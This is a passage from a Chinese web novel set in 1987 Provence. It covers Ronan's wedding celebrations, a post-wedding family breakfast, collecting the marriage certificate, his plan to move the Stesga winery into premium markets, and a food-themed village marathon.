特奥、康奈尔和巴蒂手舞足蹈的对罗南比划: “该死的罗南,你小子藏的真深,又装修房子了,居然不告诉我们!” “我没装修房子啊。”罗南无辜的瞪大眼睛。 托尔的大脑袋也出现在同一位置: “我今晚可以住在你的大厨房里吗?求你了.我真的太喜欢这里了。” 罗南下意识的看向身边的新婚妻子。 一直到此刻,佐伊才终于松了这口气,挑衅十足的挑了下眉毛: “你以为只有你准备了惊喜?” 罗南拉着佐伊,来到工作室的二楼。 亲自动手装修完二楼的波西米亚风卫生间后,罗南就再也没有来过这里。 工作室一楼也只有在找佐伊时偶尔来一次。 二楼的面积很大,而靠近卫生间的那一侧居然出现了一个精美的大厨房,各种设备一应俱全。 佐伊侧身看罗南: “你第一次带我来这里的时候,指着那个方向说,未来那里要建一个大厨房,做为你的甜品工作室,看你这么久都没动静我替你做了。” 罗南耳边的提示音‘震耳欲聋’。 【幸福度增加100点】 周围一片羡慕的哀嚎: “佐伊太酷了,这是送给罗南的结婚礼物吗?” 提前回来开灯的宝莱特撇着嘴说: “这个结婚礼物价值15万法郎啊,太豪横了。” 罗南耳边再次出现提示音: 【幸福度增加80点】 鬼哭狼嚎声此起彼伏,康奈尔一把抱住冰箱。 上帝,为什么没有女人送我15万法郎的礼物呢? 罗南激动的说: “我只是随口一说.你都记住了?” 他知道佐伊舍得给他花钱,但这也太‘舍得’了! 佐伊站到罗南面前,抬头看着他的眼睛坚定的说: “当然,你说的每一句话我都记得清清楚楚。” 罗南一把抱住佐伊,捧着她的脸深深吻住。 【幸福度增加120点】 “上帝,我怎么会认识你们这两个人,说着话呢怎么就亲上了!” “你们不要撒狗粮了行不行!” “救命救命,我要出去静静!” 楼下,专业的摄影师哈基米赶紧招呼宾客们摆出一个个poss。 “别浪费啊朋友们,合快来和新郎新娘合影!” “来了来了!” ‘咔嚓——咔嚓——’ 佐伊的惊喜礼物,让狂欢的气氛更加热烈。 罗南和佐伊的朋友们纷纷表示——今晚谁都别走,决战到天明。 做为主人,罗南和佐伊当然要奉陪到底,但累了一天的他们,找了个空隙出来透透气。 罗南打开他停在后院的车子,让自己和佐伊坐了进去。 两个人互相依偎着靠在一起。 “今天像是做梦一样。”罗南呼出一口大气。 佐伊靠到罗南怀里: “一个幸福到不愿醒来的梦。” “你知道吗,昨晚我的情绪复杂极了,有积极的,也有负面的,捋都捋不清,但婚礼结束,我真的把你娶回家,那些情绪全部离我而去,只剩下一个——”罗南抱住佐伊,“那就是幸福,我希望我们能一直这样幸福下去。” 佐伊回手摸了摸罗南的脸: “你真的幸福吗?” 罗南点头如捣蒜: “当然!” 刚刚系统给了他许许多多的经验,有好几百,这还能骗人吗? 佐伊淡淡的说: “但你刚刚还说,未来要过上幸福的日子了。” 罗南察觉到佐伊的肩膀在微微抖动,明显在笑,明白过来了她说的是什么意思。 他低头笑着问: “这也记住了?” 佐伊抬头,在黑暗中对上罗南的眼睛: “当然,我说过,我记得你说的每一字每一句。” 罗南低头再次吻向她: “但今天不行了,朋友们不会放我们离开。” 佐伊突然欺身压过去: “那可不行.我等不到那个时候再过幸福的日子了。” 【幸福度增加100点】 【幸福度增加110点】 【幸福度增加120点】 真正的普罗旺斯幸福生活开始了! 第558章 来自卢尔马兰的声音 度过幸福又疲惫的新婚第一夜,送走全部的朋友,罗南和佐伊只睡了三个多小时就要起床了。 在吕贝隆,婚礼次日的早餐要和父母们一起享用,今天可不能睡懒觉。 女人的起床步骤比男人复杂。 佐伊洗漱完毕,收拾妥当,又换好了衣服,才把罗南唤醒。 “醒一醒,吃完早饭我们再回来补觉。”她弯腰亲了亲罗南的脸颊。 新郎夜里‘辛苦’了,她也不舍得将罗南叫醒。 但双方父母现在肯定已经到餐厅了。 罗南感受到脸上的熟悉气息,没有睁开眼睛,一个翻身把佐伊拉回到了床上: “被亲醒的感觉太好了。” 佐伊拍了拍罗南的后背,催促道: “起来吧,现在九点多了,我们昨天约定好的吃早饭时间是八点半。” 罗南迷迷糊糊的把脸埋进佐伊的脖子: “没事,午饭之前到就行,他们会体谅我们的。” 佐伊抱住罗南的腰,语气懒洋洋的,似乎随时都可能睡着: “我本想吃完早饭去把结婚证明领回来,你知道的,卢尔马兰政府每周只有一天能够办理这个业务,既然你想多睡会,那就下周再去拿吧。” 在沃克吕兹省想要拿到结婚证明不是那么容易的事情。 准备资料去常住地政府提交是第一步,结婚公示期是第二步,举办正式的婚礼是第三步.完成以上全部,政府才会在婚姻登记簿上盖章,结婚双方才能拿到关于新社会关系的证明。 卢尔马兰的人口实在太少,每年结婚的人更少,因此婚姻相关业务的办理每周只开放一个上午的时间。 罗南和佐伊的运气不错,婚礼第二天正好可以去取他们的结婚证明了。 罗南瞬间睁开眼睛,抱着佐伊坐了起来: “我很快,2分钟就可以出发。” 吕贝隆的习俗只是规定婚礼的第二天,夫妻双方要和父母一起享用早餐,但是是男方的父母,还是女方的父母没有强制要求,都可以。 两家人关系那么好,自然要全部参加,地点选择在餐厅里。 早餐是莉亚亲自准备的吕贝隆‘味道’,除了面包的样式更多、奶酪、香肠和橄榄种类更丰盛外,餐桌上还多出了一道不常见的菜肴。 罗南和佐伊刚一坐下,莉亚就将一碗汤放到了他们面前的桌子上。 “这是什么?”罗南好奇的问。 莉亚的烹饪风格是习惯使用大量的普罗旺斯香料,无论是早餐、中餐还是晚餐。 但罗南没有在这道汤中闻到太多香料的味道,只有淡淡的黑胡椒味。 这种烹饪风格不像是普罗旺斯菜,反而有点像是中餐,但罗南也没见过罗天海做过这东西。 “卷心菜汤,里面只放了卷心菜、胡萝卜、番茄、黑胡椒和盐。”莉亚在两个孩子的头上分别吻了一下,“既是为了帮助你们缓解前一天狂欢带来的疲惫,也象征着家庭生活的朴素与延续,快点趁热喝吧。” 路易迫不及待的拿起勺子,捧场的说: “我和莉亚婚礼第二天,玛丽也给我们做了这道菜,我喝了整整两大碗,相信我,这会拯救你们的胃。” 玛丽是莉亚的妈妈,也是莉亚厨艺上的‘老师’。 法国人认为‘妈妈/爸爸’是生物学子女专属词,没有血缘关系的人禁止使用。 结婚后,儿媳或者女婿如果和对方父母的关系一般般,会用姓+先生/女士来称呼。 如果双方关系融洽,或者子女婚姻的时间较长,会更加习惯直接用名字来称呼对方的父母。 莉亚也在路易的头上亲了一口,之后对罗南和佐伊说: “主要是寓意好,简简单单的菜,象征朴素而又稳定的生活。” 罗南笑着拿起勺子: “普罗旺斯真是一个讲究寓意的地方啊。” 罗南和佐伊迟到了一会,早就过了正常的早饭时间,几个人闷头吃了一会才有人说话。 罗天海把面包泡到卷心菜汤里,一看就是‘老吃家’: “一会吃完饭,你们回去好好睡一觉,最近太累了,罗南,你这几天多在家里陪陪佐伊,餐厅这里不用担心,我和你妈妈都能应付。” 冯珍学着丈夫的样子,也把面包泡进汤里,同时嘱咐儿子: “我昨天听巴蒂说,编织的生意也稳定下来了,暂时不需要你去帮忙,你和佐伊要不要出去旅个游?把蜜月度了?” 罗南之前每天去赶订单,是担心妇女们做不完突然激增的订单量,但近一个月看下来,卢尔马兰手工艺合作社的产能无需担心,多一个罗南少一个罗南影响不大。 罗南和佐伊互看了一眼。 佐伊先一步开口: “10月之前我会比较忙,旅行季各地艺术活动多,要做不少东西,我和罗南商量过,打算等旅行季结束再去度蜜月。” 罗南继续补充: “松露采摘季11月中旬开始,这中间有一个多月的时间,可以度一个很惬意的假期。” 路易有些心疼的问: “那也至少休息几天吧?你们要马上工作吗?” 罗南耸肩: “休息一天吧,明天我要去斯特斯加推行‘配额’制度。” 佐伊也无奈的叹气: “我也只能休息一天.明天要继续完善送展的作品。” 冯珍一边咧嘴一边摇头: “这两孩子,一个比一个忙。” 罗南笑着安慰母亲: “我们会尽可能的陪伴着彼此,工作绝不会耽误过日子,我发誓。” 佐伊看着罗南的侧脸说: “虽然很忙,但我和罗南的时间都很自由,算是不幸中的万幸,这个问题我们之前也讨论过许多次,结婚后要多以一个‘整体’来看待许多事情了。” 新婚第二天的早餐是当地习俗,不能不遵循。 但一吃完饭,四位老人就催着他们赶紧回去休息,不要在这里浪费时间了。 莉亚做的早饭既丰盛又好吃,吃了这么多东西,正好去政府办个事,消化一下,之后回家补觉去。 罗南和佐伊拉着手,离开商业街,去往卢尔马兰政府办公楼。 这一路上,罗南看到几乎每一个电线杆子上都贴着色彩斑斓的海报,还有许多本地村民和外地游客围在那前面看着海报上的东西。 “我们也去看看。”罗南拉着佐伊走了过去。 来到电线杆前,发现那是一份关于‘圣母升天节’的活动预告。 海报上说,8月中旬,卢尔马兰会举办圣母升天节的庆祝活动,感兴趣的村民和游客可以去活动中心了解具体细节和购买入场券。 入场券的价格是每人70法郎,提供一日三餐。 最有意思的是,这上面提示大家——参与的民众记得在当天带着自己的餐具。 “哇哦,这是希尔维他们策划的那个活动!”罗南兴奋的对佐伊说,“这个活动看起来和吃有关系,应该是它没跑了。” 月初,罗南将略伦特先生介绍给了希尔维认识,那之后他就去筹备婚礼了,没有再关心过这件事的进程。 看到海报上写着‘自带餐具’,罗南马上和那个活动联系到了一起。 佐伊努着嘴说: “圣母升天节是普罗旺斯一个非常大的节日,那一天许多村庄都会举行社区盛典.卢尔马兰想要脱颖而出不容易。” 同样的主题,为什么不去梅纳村、戈尔德或者博尼约呢? 罗南仍记得希尔维那副天塌了的无助样子,迫不及待的拉起佐伊去政府: “布兰科这么谨慎一个人,肯定想好了对策才会做出这个决定,这可是卢尔马兰的第一个大型活动呢。” 说着,他加快了脚步: “而且还有略伦特先生给他们提供帮助,我们拿完结婚证顺道去问问。” 来到卢尔马兰政府,给佐伊和罗南办理后续程序的依然是康蒂娜。 “布兰科说,你们一定会在今天过来,昨天就把章盖好了,还催着我赶紧把结婚证书做出来。”康蒂娜把一个封存完整的浅粉色证书郑重的交到罗南手里。 1987年,法国各地的结婚证明样式不尽相同。 沃克吕兹省提供的证书带有浓郁的普罗旺斯风情,除了国徽、新人姓名、新人出生年月、公证地点和编码等基础信息外,边缘还有一圈好看的薰衣草纹。 听说用紫光灯打还能看到麦穗和天平的暗纹,罗南打算回家找个紫光灯照一下试试,看看还有没有其他有意思的东西。 罗南爱不释手的举着结婚证明端详的同时,康蒂娜又将一个小册子交给佐伊: “这是家庭簿,用来记录家庭重要事件。” 她笑嘻嘻的对罗南和佐伊说: “等你们的孩子出生,记得把它带来,我来给你们登记。” 罗南和佐伊互看了一眼,大大方方的说: “谢谢,我们争取多来登记几次。” 今天布兰科出去开会了,不在卢尔马兰。 拿完心心念念的证书,罗南没有着急离开,带着佐伊去找了一趟希尔维。 一年前,希尔维一个人干一个部门的活儿,现在她手底下有了个3人的‘小团队’,她所管理的卢尔马兰市场管理中心终于有了一个部门的该有样子。 希尔维正在办公室里给下属安排工作,见到罗南和佐伊出现在门口,幽默的问: “你们不在家里享受新婚生活,来我这里干什么?康蒂娜不在门口的办公室吗?” 希尔维也知道罗南和佐伊一定会着急的今天赶来拿结婚证明,但她没想到他们会出现在这里。 罗南挥舞了一下手里的粉色证书: “不拿到这东西,我做任何事的心情都没有。” 天知道为了得到它我付出了多少的努力! 希尔维好奇的问: “那你们来这里干什么?” 罗南用下巴指了一个方向: “我在村里看到了你们贴出来的活动告示,就是关于‘圣女升天节’的那个,准备的怎么样?和略伦特沟通的还顺利吗?” 这是卢尔马兰举行的第一个大型活动,罗南自然非常的关心。 希尔维先是一愣,随后笑出声来: “那个不是和略伦特合作的活动,我们怎么会选择用一个宗教活动做第一个大型活动啊。” 现在轮到罗南愣住了: “啊?不是吗?那你们策划的活动是什么主题?” 过了这么久,不会还没有找到让布兰科满意的策划吧? 希尔维指了指办公室里忙碌的几个职员,又拿起桌子上厚厚的文件: “卢尔马兰的第一个大型活动是马拉松,我们正在邀请选手呢。” 随即她将一个信封举到罗南面前: “本来想过几天交给你,既然你来问了,就拿着吧.你必须得来参加啊,全村人都知道——你是卢尔马兰的马拉松高手。” 罗南错愕的瞪着面前的邀请函,上面写着一个巨大的名字——罗南。 什么东西? 马拉松? 还不如圣母升天节呢! 希尔维自动忽视掉了罗南浑身的抗拒,兴奋的说: “这个思路是略伦特提出的,他说今年摩纳哥站F1赛事升级,让体育成为了热门主题,无论是观众还是商业客户都对此有无尽的热情,我们做了详细的调研,发现此刻正处在马拉松的高速发展阶段,而南法又没有围绕马拉松的顶级赛事,如果做好了,将会固定下来每年举行,这是卢尔马兰的机会。” 罗南尴尬的笑了几声,把邀请函推了回去: “确实是个不错的主题,但我就不参加了。” 马拉松是多少公里来着 你们想让我死吗?! 希尔维再次将邀请函推出去: “不,你必须参加,马拉松可以带动当地旅游,我们还会在路途中设计许多补给点,这是斯特斯加、你的餐厅和甜品烘焙店的曝光好时机,最主重要的是——卢尔马兰没人比你能跑啊,你连羊和狗都能跑赢,怎么可能跑不赢人?我们需要一个卢尔马兰本土实力选手参与到赛事中去!” 不给罗南任何反驳的机会,整个办公室都回荡希尔维兴奋的声音: “8月初马拉松、8月中旬圣母升天节盛典、9月份还愿盛典到了这个时候,我们一定积累到足够的经验了,10月初计划举行一场最高级别的美食活动,那之后的每个月,普罗旺斯人都能听到来自卢尔马兰的声音!” 第559章 斯特斯加的转型之路 斯特斯加的粉红酒库存本就告急,罗南和佐伊的婚礼前后又消耗了许多导致库存危机直线升级,8月起,许多渠道商拿货的数量需要做出被动的调整。 粉红酒酿制周期较红葡萄酒和白葡萄酒来说短上不少,不需要浸皮上色,也不需要长时间发酵,普通餐酒30天便可以装瓶。 也就是说,如果罗南等人加把劲儿,今年的新酒11月份就可以上市了。 但即使这样,斯特斯加的库存危机也要存在至少3个月的时间。 库存少,供货量就一定会相应减少。 但减多少、减谁的就要好好权衡了。 婚礼举办后的第二天,罗南出现在了山坡上的斯特斯加。 今天,斯特斯加全员到齐,要听老板讲重要的‘配额制度’。 “你说的那个什么‘配额制度’是个什么东西?”特奥是急性子。 罗南一来先找暂时负责酒窖的康奈尔盘库存,他等不及,跟在罗南身后不停的叨叨。 “当顶级酒庄的年份酒或者‘网红’款供不应求时,有经验的酒庄会启动严格的配额制,以平衡市场。”怕特奥并不明白,罗南耐心的解答,“你可以简单理解为——当库存不够时的一套标准供货逻辑方法。” 特奥是个粗人,不懂什么方式方法,撇着嘴说: “要我说,咱们之前定的那个方法挺好的,货不够就先供给大客户和大渠道,其他的渠道先停一下,不用那么复杂的分三六九等我们得维护好和这些大客户的关系啊。” 斯特斯加的库存危机在6月份罗南接手后不久便‘初现端倪’。 但最一开始,罗南没有想好是否应该推行高级酒庄的‘配额制度’,所以拉着几个骨干聊过好几次,内容围绕着如何调整供货数量。 那几次讨论中,卢卡斯和特奥提出,还是要尽可能多的先满足大客户们的需求,散户和小客户可以先放一放。 这里的大客户指的是拿货数量大的渠道,就比如他们在海边新签下来的那个。 兄弟俩费了好大的力气才把人家说服,刚过一个月就把货源断了这说不过去啊。 罗南盘完了库存,转头离开酒窖,去和大家汇合。 他拍了拍特奥的后背,示意他该出去了: “我知道这件事不好办,为难你和卢卡斯了,但配额制度起到的作用除了有平衡市场,还有维护和提升品牌价值.对于现在的斯特斯加来说,很有必要。” 斯特斯加的厂房部分正在建设,要8月底才能投入使用。 伙计们大部分是农夫转行来的,都不是矫情的人,罗南随便在山坡上找了一处阴凉,让大伙席地而坐。 伴随着身后工地处传来的施工声,‘全体会’开始。 “我刚刚和康奈尔又盘了一次库存,可能等不到8月初,我们要马上开始推行‘配额制度’。”罗南看着大伙说,“这件事不仅仅和卢卡斯、特奥有关,和在座的每一位都脱不开关系因为当这个制度推行出去的那一刻起,斯特斯加未来的发展道路便确立了。” 很多伙计都是暂时放下了本职工作,例如送货、开车、带游客去葡萄园,专门赶过来听罗南讲‘配额制度’。 而且等旅行季结束,他们所从事的工作也和配货供货没有关系,但今天没有一个人抱怨,也没有一个人不耐烦,听到罗南的开场白,不少小伙子甚至激动的把身子坐直了。 罗南看向远方的卢尔马兰村,似乎在回忆着什么: “上上周,我去教皇新堡参加了普罗旺斯最大的葡萄酒拍卖会,在那个拍卖会上,一桶酒能拍出去了好几十万法郎,而且面对这么高的价格,世界各地的葡萄酒批发商都争着抢着要。” 杜马发出没有见识的哀嚎: “一桶酒几十万法郎?多大的桶啊?得有房子那么大吧?” 罗南回头,指着酒窖的方向说: “就是常规大小的酒桶,跟咱们用的一样大。” “怎么可能啊?”康奈尔把嘴里的野草扔了,“怎么可能卖那么贵,这些人疯了吧?” 卢卡斯吃过见过,默默在心中计算了一下价格,对大家说: “算下来一瓶酒几千法郎吧,不算最顶级的。” 罗南叹气道: “这只是‘进货价’,那些酒商把酒买回去要进行二次陈年,等它们上市的时候,还要再翻好几倍。” 原本轻松的氛围一下子沉默了,没有人再说一句,似乎在默默计算斯特斯加和这些顶级酒庄之间的差距。 给足了大家思考时间,罗南才继续开口: “同样的工作时间、同样的付出,别人一瓶酒可以卖几千法郎,我们的一瓶酒只能卖25法郎真是不甘心啊。” 在一个巨大的停顿后,罗南坚定的说: “我想改变现状,让斯特斯加进入高端酒庄的队列,如果成功了,涨上去的不仅仅是每瓶酒的价格,同时还有大家的收入。” 罗南和佐伊在普罗旺斯的名气、卢卡斯的人脉和切尔诺的倾囊相助的的确确让斯特斯加的市场前景变好了不少,保守估计,明年的产量在今年的基础上再多一半也可以卖掉。 但斯特斯加卖的最好的是餐酒,靠廉价的粉红酒,很难让大家赚到钱,想要扭转现状,唯一的的办法就是推出成功的高端款。 而这个成功的前提是——‘斯特斯加’要摆脱十几年来普罗旺斯人对它‘廉价餐酒’的认知,将这个名字和高端联系到一起。 谁不想赚更多的钱呢? 就像罗南说的那样,同样的付出、同样的时间,别人的收获是斯特斯加的十几、几百倍。 但在普罗旺斯将粉红酒推向高端太难了啊。 “拍卖会上的应该都是红、白葡萄酒吧?”特奥跟着卢卡斯干了一阵子,对普罗旺斯的粉红酒市场有一些专业的认知了,“不是我说话难听,我们能把餐酒这条路走好已经很不错了,想和高端扯上关系.” 心直口快的特奥知道罗南对粉红酒有多执着,将到嘴边的‘想都不要想’咽了下去,难得的‘委婉’了一下: “总之,我们慢慢努力吧。” “多慢?一年两年还是三年?”罗南笑着看特奥,“到时候卢尔马兰都成为吕贝隆的第四角了,斯特斯加还在原地打转.我们再想做什么就更难了。” 说完,罗南看向了沉默不语的卢卡斯。 他担心特奥的态度也是卢卡斯的态度,他们兄弟俩在私下里统一战线了。 配额制度需要市场部门来推行,他必须将卢卡斯说服: “卢尔马兰正在‘复兴’的初期阶段,斯特斯加和卢尔马兰一起成长能够得到许多资源,就比如海量的曝光和高端的人群,卢尔马兰不可能复兴两次,斯特斯加向高端靠拢的机会只有这一次。” 不得不承认,阿斯特丽德给罗南上的第一课——‘借势’和‘借利’是如此的重要。 罗南真希望这位女士再多教他几招。 卢卡斯点了一根烟,没有什么情绪起伏的说: “你先说说这个‘配额制度’要怎么做吧,听你说了好几次,我还不知道它是什么样子的。” 罗南点了点头,一字一句的给大家认真讲解: “现在库存不够,需要将客户分级,按照现有库存的百分比为不同等级的客户供货,顶级客户的配货占比为30%,其中包括普罗旺斯的几家米其林餐厅、奢侈酒店、私人度假村和高端俱乐部,卢卡斯应该明白我指的是哪些。” 特奥抢在卢卡斯之前回答: “你说的这些渠道供货量本就不大,给他们30%,基本等于没有调整。” 罗南点头: “必须保证斯特斯加在高端场合的曝光量,这是我们转型的必经之路。” 见没人说话了,罗南继续说道: “第二个档位为重要客户,配比为40%,包含高端酒店、精品葡萄酒零售商、航空公司和邮轮——” 不等罗南说完全部,特奥着急的打断他: “我们哪里有航空公司的客户?” 他们在海边开了不少邮轮客户,但至今没有合作任何一个航空公司。 罗南笑着耸肩: “我相信,你们在阿维尼翁一定会合作上。” 婚礼结束,卢卡斯马上要带着特奥去阿维尼翁附近开内陆市场了。 罗南看向卢卡斯,耐心的解释: “航空公司是未来斯特斯加开拓世界市场的关键,也是这次你们去阿维尼翁的重要目标,我在阿维尼翁有一些朋友,如果中途遇到了困难,我来想办法。” 卢卡斯的人脉在海边。 罗南的人脉主要集中在阿维尼翁附近,沃克吕兹省的政府官员们、伊内斯,包括阿斯特丽德都住在那周围。 特奥继续问: “其他的大客户们呢,在不在这个等级里?” 罗南坚定的摇头: “不在,正常分销商,卢尔马兰粉红酒博物馆和村里的零售商铺等等都只能拿到30%。” “不行不行,30%太少了。”特奥抗议道,“大客户们一定会生气,到时候我和卢卡斯要如何解释啊?” 罗南扶住特奥的肩膀,让他别那么激动: “你告诉他们,现在斯特斯加启动了‘配额制度’,根本不用你解释什么,你的那些大客户们自然会明白为什么给他们那么少.忘记我说的了吗?配额制度是高级酒庄采取的一套标准供货逻辑方法,行业内的人会明白的。” “他们明白‘配额制度’,但不一定会明白斯特斯加为什么突然成为高端酒庄了。”卢卡斯终于说话了,他看着罗南,“如果有人问这个问题,我们要如何回答呢?” 罗南看向卢卡斯,认真的回答: “首先,我在教皇新堡弄出了一点动静,大型渠道商们应该已经听到了消息,猜到斯特斯加想要向高端转型了。” 拍卖会期间,罗南像是大腿挂件一样出现在杰克逊的左右,聪明的家伙们自然知道那代表着什么。 紧接着,罗南继续说道: “其次,你可以借着这个机会给他们再次介绍一下斯特斯加,我指的是新斯特斯加,而不是以前的。” 坐在地上的小伙子们全部好奇的抬头看向罗南。 介绍斯特斯加? 这还用介绍吗? 我们每天都在给游客们介绍啊. 罗南的目光再次看向山谷腹地的卢尔马兰村,悠悠开口说道: “新的斯特斯加,一切都会沿用普罗旺斯高端酒庄的管理和经营模式,除了‘配额制度’,还会启用‘期货预售’制度,如果想要在明年拿到更多的货品,现在就可以交付定金了。” 大家还没有消化完突然出现的‘期货预售’制度,下一条新制度接踵而至: “预付款比例提高到50%,账期缩短到3个月。” 还没有完 “明年会缩减渠道商的数量,只保留区域内的精品酒商作为代理。” “启用会员制,购买力强的客户可以得到1.5L和3L的定制款。” 康奈尔瞪着眼睛问: “啊?要出大瓶的酒了?” 普通酒瓶的容量只有750毫升。 罗南挑着眉毛说: “何止是大瓶酒,还要推出艺术家定制款,签名款,原桶特殊瓶,特殊艺术瓶身款和礼盒装甚至是和其他品牌的联名款,总之未来的斯特斯加绝对是普罗旺斯最有特色的酒品牌。” 说完,罗南看向卢卡斯: “现在.理由够充分了吗?” “我原本想的是,阿维尼翁附近都是硬骨头,我和特奥肯定很快就能回来,这次就不带玛格丽特一起去了。”卢卡斯把手里的烟掐了,“看来这次又要出一个很长的差了。” 新的斯特斯加有点厉害啊! 罗南在教皇新堡不止喝了三天的酒,还学习了许多高端酒庄的经营方法。 既然想要做,就做的彻底点,彻底的向全普罗旺斯人宣布——斯特斯加要走高端路线了。 在教皇新堡的经历,让罗南明白粉红酒的高端属性和红白葡萄酒不同,无法靠陈年获得,这逼着他必须另寻他法。 截止到此刻,他一共想到了三个办法。 艺术家定制款,签名款,原桶特殊瓶,特殊艺术瓶身款、礼盒装和其他品牌的联名款等,只是其中之一。 他手握如此多的艺术家和名人明星资源,为什么不利用起来呢? 后世这一套流程非常成熟,他只需要照搬即可。 第二个办法,要靠系统给的【酿酒】技术。 今年9月,他需要酿制出一款拥有高端口感的粉红酒。 至于第三个办法嘛 开完斯特斯加全体会,罗南慢慢悠悠的晃去卢尔马兰政府。 希尔维一见到罗南便紧张的说: “这事没得商量啊,你必须参加!” 罗南指着楼上问: “布兰科今天在吗?” 希尔维更加紧张了: “在,不过找布兰科也没用,布兰科也支持你参加马拉松赛。” 罗南笑着走上楼梯: “我今天来不是聊参赛名额的,或许你们还缺赞助商吗?” 第560章 距离为42.195公里的开心之旅 普罗旺斯高端酒庄老板非常喜欢赞助活动,无论是美食活动、艺术活动、民俗活动还是体育活动上,经常能看到葡萄酒品牌。 罗南的巴黎老乡伯纳德曾经说过,赞助活动是与‘高端’关联起来最简单直接的办法,他未来的计划是接触戛纳电影节、戛纳电视节、阿维尼翁戏剧节、环法帆船赛等普罗旺斯高端赛事。 罗南没有那么多钱,斯特斯加也没有那么高级但赞助赛事的的确确可以考虑起来了。 如果在卢卡斯等人将新斯特斯加介绍出去的同时,让斯特斯加配合着出现在一个大型赛事活动上可以形成组合拳的模式,说服力更强劲。 斯特斯加和卢尔马兰已‘不分你我’,既然要投钱,最好的选择是投入到卢尔马兰的活动中去。 而且罗南相信布兰科不会亏待他这个‘爱卢尔马兰’的村民。 即将在卢尔马兰举行的马拉松赛是一个很好的契机,但在那之前,罗南想要详细了解一下这个赛事的定位和信息。 这些问题也可以从希尔维处打听。 但通过希尔维的多次转述,罗南发现布兰科对卢尔马兰的第一个大型活动非常挑剔和谨慎,也许从布兰科这里可以听到些不一样的东西。 同一个办公室,同样的两个人.只是桌子上的酒从斯特斯加最高端的那款酒,变成了普通款。 “不用高端酒招待客人了?”罗南笑着问布兰科。 上一次来,布兰科的柜子里放的全部是斯特斯加最贵的那一款粉红酒,但这次推开柜门,里面变成了餐酒。 布兰科笑着摇头: “最近都没有拿粉红酒招待客人,这几瓶是专门给你准备的,你来了我才拿出来。” 上一次,罗南说斯特斯加现有的‘高端款’不够好,要在今年更新换代.布兰科便把它们暂时收了起来。 罗南举起杯子和他碰了一下: “再等等,等我酿出了真正的高端款,第一个送到你这里。” 布兰科喝了一口酒,笑呵呵的说: “好,至少给我留两箱啊,对了,今早我听希尔维说,你似乎对参加卢尔马兰首届马拉松赛不是很情愿?” 布兰科和希尔维想到一起去了,也以为罗南是为此事而来。 罗南耸了一下肩膀: “要不要参赛,可能取决于这个马拉松赛具体是怎样的。” 他突然认真起来,直奔主题: “我在考虑,是否该让斯特斯加赞助这个赛事,但我不清楚他们是否适配你知道的,斯特斯加还没有真正的赚钱,一直在花你给我的‘资助款’,9月份这些钱要用于收购村民手里的葡萄,不是非常肯定,我不敢乱花一分。” 如果罗南手里的钱富裕,不管这个马拉松是好是坏,他肯定要赞助一点。 但条件不允许他这么阔绰,必须精打细算起来。 布兰科对斯特斯加的态度同样像是对待自己的孩子,他非常负责任的说: “不知道希尔维是否跟你说过,即使不赞助,活动带来的旅游收益也可以帮助斯特斯加、你的中餐厅和卢尔马兰手工艺合作社从中受益,但我认为你应该以正式的赞助商身份加入进来,换取更多的曝光机会,请相信我.这绝对是稳赚不赔的买卖。” 罗南将手肘撑到桌子上,好奇的问: “看起来你对这个马拉松活动非常有信心?” 坦白讲,听到希尔维说,卢尔马兰的第一个大型活动是马拉松,罗南还是挺意外的。 旅游季,吕贝隆山区的活动非常多,但体育类型的赛事很少,如果有,也是和‘山羊赛跑’、‘薰衣草吐司迭迭乐’大赛一样搞抽象的那一类。 即使摩纳哥站F1直播升级,使得体育活动变得更加受社会青睐但那真的适合乡土气息浓厚的卢尔马兰吗? 罗南能想到的问题,布兰科绝也会考虑到,甚至比罗南想的更深更远。 罗南非常很好奇,如此挑剔的布兰科,是如何将这个赛事定下来的。 布兰科斩钉截铁的说: “是的,非常有信心,而且这个信心也有了依托。” 他指了指楼下: “我们将活动方案推出后,已经有2个客户确定赞助,像你这样在了解和观望的客户还有5、6个。” 罗南前倾身体,意外的问: “这么受欢迎?” 罗南回忆起几个月前在梅纳村面包大赛后和略伦特、桑松女士吃饭时的场景。 为了给‘马赛鱼汤奥林匹克’大赛拉来赞助,略伦特无所不用其极,把罗南推出去只为了让马赛老船王赞助进去。 艾克斯举行的第一届普罗旺斯甜品大赛的赞助经历也很波折,没有记错的话,宣传海报上只有两个品牌的名字。 这个月初,罗南才把略伦特介绍过去,即使高效推进,招商方案也是才确定不久的事情这么快就有2个客户确定赞助了? 布兰科耸肩道: “可能我们找到普罗旺斯人的兴趣所在了吧。” 罗南咂巴了一下嘴,嘀咕了一句: “普罗旺斯人居然这么喜欢运动?我以为他们最爱的是吃吃喝喝。” 西奥多尔形容吃吃喝喝是普罗旺斯人最纯正的信仰! 下一秒,布兰科哈哈大笑起来: “没错,普罗旺斯人最喜欢的就是吃吃喝喝,而我们很完美的将其结合进了这项赛事。” 罗南愣了好几秒才开口问道: “你是说你们把马拉松和吃喝喝结合起来了?” “没错,这要感谢略伦特给的创意。”布兰科微笑着说,“除了比赛距离是42.195公里,你再也找不到其他任何和传统意义上马拉松比赛一样的地方了。” “你们的重点是沿途的那些补给站?”罗南回忆起了昨天希尔维说的一个细节。 这些补给站应该就是和吃吃喝喝结合起来的契机了。 “不止,但我们确实计划在沿途设置二十多个补给站,每一个补给站所提供的餐品都会比你婚礼上的还要丰富。”布兰科敲着桌子说,“来参赛的人穿什么都行,也不一定是专业的,屠夫、教师、司机.只要想都可以加入进去,奔着免费吃喝来的我们也欢迎,在这项活动中,最无关紧要的就是速度和成绩,也不需要去打破什么记录,我们的目的只有一个——让大家获得一分距离为42.195公里的开心之旅。” “有点酷啊.”罗南下意识脱口而出,“如果不是被你们安排着去参赛了,我真想去看看,你们是如何设计这场长达42.195公里的开心之旅的。” 布兰科举起酒杯: “是啊,有哪个普罗旺斯人不会好奇长达42.195公里的开心之旅是什么样子的?赞助商们也是这样想的,所以决定给我们投钱了。” 罗南和布兰科碰了一下杯,兴奋不已的问: “快给我讲讲,除了吃吃喝喝,你们还在这趟长达42.195公里的开心之旅中设计了什么有意思的东西?” 既然鼓励普通人参赛,就一定会考虑到他们无法完成这么长的距离,那么必然会设计许多勾引他们继续向前的东西,罗南不相信只有吃吃喝喝。 “我发誓,我们的马拉松赛一定比‘山羊赛跑’大赛还要有意思。”布兰科清了清嗓子,“我先从起跑开始给你讲起——” 两个人边喝边聊,不知不觉过去了近一个半小时。 最后一口酒下肚,罗南拍着桌子说: “可以可以可以!这个马拉松有意思,处处设计在了普罗旺斯人的兴趣点上,我已经等不及看到那天荒诞、无厘头,又有浓郁乡村特色的场景了。” 摆在卢尔马兰政府面前最好的学习例子便是举办了一百多年的山羊赛跑大赛。 比赛都结束半个多月了,村里还有人在讨论那天的事情,甚至自发组织了许多民间活动。 